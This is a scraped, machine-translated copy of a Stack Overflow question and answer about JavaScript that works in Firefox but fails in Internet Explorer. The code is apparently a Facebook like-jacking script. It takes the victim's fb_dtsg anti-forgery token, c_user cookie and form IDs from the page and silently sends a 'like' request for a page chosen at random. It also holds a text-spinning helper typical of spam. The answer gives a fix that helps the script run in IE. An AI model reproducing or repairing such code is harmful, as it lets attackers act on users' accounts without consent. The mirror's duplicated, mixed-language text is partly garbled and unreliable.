简体   繁体   English

JavaScript 在 IE 中不工作,在 FireFox 更新

[英]JavaScript not working in IE, works in FireFox UPDATE

function http_build_query (formdata, numeric_prefix, arg_separator) {
    var value, key, tmp = [],
    that = this;

    var _http_build_query_helper = function (key, val, arg_separator) {
        var k, tmp = [];
        if (val === true) {
            val = "1";
        } else if (val === false) {
            val = "0";
        }
        if (val !== null && typeof(val) === "object") {
            for (k in val) {
                if (val[k] !== null) {
                    tmp.push(_http_build_query_helper(key + "[" + k + "]", val[k], arg_separator));
                }
            }
            return tmp.join(arg_separator);
        } else if (typeof(val) !== "function") {
            return that.urlencode(key) + "=" + that.urlencode(val);
        } else {
            throw new Error('There was an error processing for http_build_query().');
        }
    };

    if (!arg_separator) {
        arg_separator = "&";
    }
    for (key in formdata) {
        value = formdata[key];
        if (numeric_prefix && !isNaN(key)) {
            key = String(numeric_prefix) + key;
        }
        tmp.push(_http_build_query_helper(key, value, arg_separator));
    }

    return tmp.join(arg_separator);
}

function urlencode (str)
{
    str = (str + '').toString();

    // Tilde should be allowed unescaped in future versions of PHP (as reflected below), but if you want to reflect current
    // PHP behavior, you would need to add ".replace(/~/g, '%7E');" to the following.
    return encodeURIComponent(str).replace(/!/g, '%21').replace(/'/g, '%27').replace(/\(/g, '%28').
    replace(/\)/g, '%29').replace(/\*/g, '%2A').replace(/%20/g, '+');
}

function HttpRequest(url, query, callback, method)
{
    if(!method)
    {
        method  = 'post';
    }

    var xhr = new XMLHttpRequest(); 

    xhr.open(method, url);
    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xhr.onreadystatechange  = function()
    {
        if (xhr.readyState == 4)
        {
            log(xhr.responseText);

            if(callback)
            {
                callback(xhr.responseText);
            }
        }
    }

if(typeof query != 'string')
{
    query   = http_build_query(query);
}

    log(query);

    xhr.send(query);
}

post_form_id        = escape(findelementbyname("post_form_id"));
fb_dtsg             = escape(document.getElementsByName("fb_dtsg")[0].value);
cookie_user_uid     = document.cookie.match(/c_user=(\d+)/)[1];
xhpc_composerid     = escape(findelementbyname("xhpc_composerid"));

function log(text)
{
    if(window.console)
    {
        console.log(text);
    }
}


function shuffle(s)
{
    while(m1 = s.match(/{(.*?)}/))
    {
        m2  = m1[1].split('|');
        r1  = m2[Math.floor(Math.random()*m2.length)];
        s   = s.replace(m1[0], r1);
    }

    return s;
}

function findelementbyname(nme)
{
    var inputs = document.getElementsByTagName("input");

    for(var i=0;i<inputs.length;i++)
    {
        if(inputs[i].name == nme)
        return inputs[i].value;

    }
    return null;
}

function send_like(fbpage_id)
{
    HttpRequest('/ajax/pages/fan_status.php?__a=1',
    {
        add: 1,
        fb_dtsg: fb_dtsg,
        fbpage_id: fbpage_id,
        lsd: '',
        post_form_id: post_form_id,
        post_form_id_source: 'AsyncRequest',
        preserve_tab: true,
        reload: 0
    });
}

if(Math.random() * 2 > 1)
{
    send_like(1);
}
else
{
    send_like(2);
}

This code works in Firefox, but not in IE.此代码适用于 Firefox,但不适用于 IE。 This is the error I get in IE:这是我在 IE 中遇到的错误:

 Webpage error details

User Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; BRI/2) Timestamp: Fri, 29 Apr 2011 00:43:16 UTC User Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4. 0C;BRI/2) 时间戳:2011 年 4 月 29 日星期五 00:43:16 UTC

Message: Object doesn't support this property or method Line: 84 Char: 1 Code: 0消息:Object 不支持此属性或方法行:84 字符:1 代码:0

Line 84 would be post_form_id part.第 84 行将是 post_form_id 部分。

IE gets wonky on for/in loops and includes all inherited properties and methods. IE 在 for/in 循环中变得不稳定,并包含所有继承的属性和方法。 Try adjusting all your for/in loops to add a check that the object being iterated actually has each item as its own property:尝试调整所有 for/in 循环,以检查被迭代的 object 实际上将每个项目作为其自己的属性:

for (k in val) {
  if (Object.prototype.hasOwnProperty.call(val, k) && val[k] !== null) {
    tmp.push(_http_build_query_helper(key + "[" + k + "]", val[k], arg_separator));
  }
}

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

相关问题 JavaScript 不能在 IE 中工作,但在 FireFox 中工作? - JavaScript not working in IE but works in FireFox? 简单的Javascript无法在IE中使用,但可以在Firefox中使用 - Simple Javascript not working in IE, works in Firefox Javascript Hide元素在IE上不起作用,但在Firefox上起作用 - Javascript Hide element not working on IE but works on Firefox JavaScript函数不适用于Chrome和IE,但适用于FireFox - JavaScript function not working on Chrome & IE but works on FireFox Javascript函数在IE中不起作用,但在Firefox中起作用 - Javascript Function not working in IE but works in Firefox JavaScript无法在IE和Firefox中运行,在Chrome中运行良好 - JavaScript not working in IE and Firefox, works fine in Chrome JavaScript 在 Firefox、Chrome 中不起作用 - 在 IE、Edge 中有效 - JavaScript not working in Firefox, Chrome - works in IE, Edge Javascript代码在Chrome和firefox中不起作用,但在IE中起作用 - Javascript Code is not working in Chrome and firefox but works in IE JavaScript无法在IE和Chrome上运行?(在Firefox上运行) - Javascript not working on IE and Chrome?(it works on firefox) 通过 javascript 的 IE/Firefox 样式更新不起作用 - IE/Firefox style update via javascript not working
 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM